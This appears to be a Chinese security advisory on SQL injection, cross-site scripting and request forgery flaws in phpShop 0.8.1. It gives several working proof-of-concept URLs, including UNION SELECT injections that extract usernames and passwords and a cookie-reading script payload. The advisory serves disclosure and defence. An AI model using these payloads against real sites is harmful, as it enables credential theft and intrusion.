安全研究

安全漏洞
PhpShop多个跨站脚本和SQL注入漏洞

发布日期:2009-12-07
更新日期:2010-01-06

受影响系统:
phpShop phpShop 0.8.1
描述:
BUGTRAQ  ID: 37227
CVE ID: CVE-2009-4570,CVE-2009-4571,CVE-2009-4572

phpShop是一款基于PHP的购物车应用程序。

PhpShop的index.php页面中存在多个SQL注入漏洞,远程攻击者可以通过向(1) admin/function_list操作的module_id参数、(2) vendor/vendor_form操作的vendor_id参数、(3) admin/module_form操作的module_id参数、(4) admin/user_form操作的user_id参数、(5) vendor/vendor_category_form操作的vendor_category_id参数、(6) store/user_form操作的user_id参数、(7) store/payment_method_form操作的payment_method_id参数、(8) tax/tax_form操作的tax_rate_id参数、(9) shop/browse操作的category参数传送恶意输入执行SQL注入攻击。

当page设置为order/order_print的时候,PhpShop没有正确的过滤提交给index.php页面的order_id参数便返回给了用户,远程攻击者可以通过提交恶意请求执行跨站脚本攻击。

PhpShop中存在跨站请求伪造漏洞,远程攻击者可以通过提交恶意HTTP请求劫持任意用户的认证会话,代表该用户执行对默认URI的shop/cart操作中的cartAdd功能的调用。

<*来源:Andrea Fabrizi (andrea.fabrizi@gmail.com
  
  链接:http://secunia.com/advisories/31948/
        http://marc.info/?l=full-disclosure&m=126003883502865&q=raw
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/phpshop-0.8.1/?page=admin/function_list&amp;module_id=111111&#039; union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://www.example.com/phpshop-0.8.1/?page=shop/flypage&amp;product_id=1011&#039;/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5-- aaa
http://www.example.com/phpshop-0.8.1/?page=vendor/vendor_form&amp;vendor_id=1&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=admin/module_form&amp;module_id=1&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=admin/user_form&amp;user_id=7322f75cc7ba16db1799fd8d25dbcde4&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=vendor/vendor_category_form&amp;vendor_category_id=6&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=store/user_form&amp;user_id=c88ce1c0ad365513d6fe085a8aacaebc&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=store/payment_method_form&amp;payment_method_id=1&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=tax/tax_form&amp;tax_rate_id=2&#039; and &#039;1&#039;=&#039;1
http://www.example.com/phpshop-0.8.1/?page=shop/browse&amp;category=aaa&#039; and 1=1 -- aaa
http://www.example.com/phpshop-0.8.1/?page=order/order_print&amp;order_id=1&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;

建议:
厂商补丁:

phpShop
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpshop.org/

浏览次数:3468
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障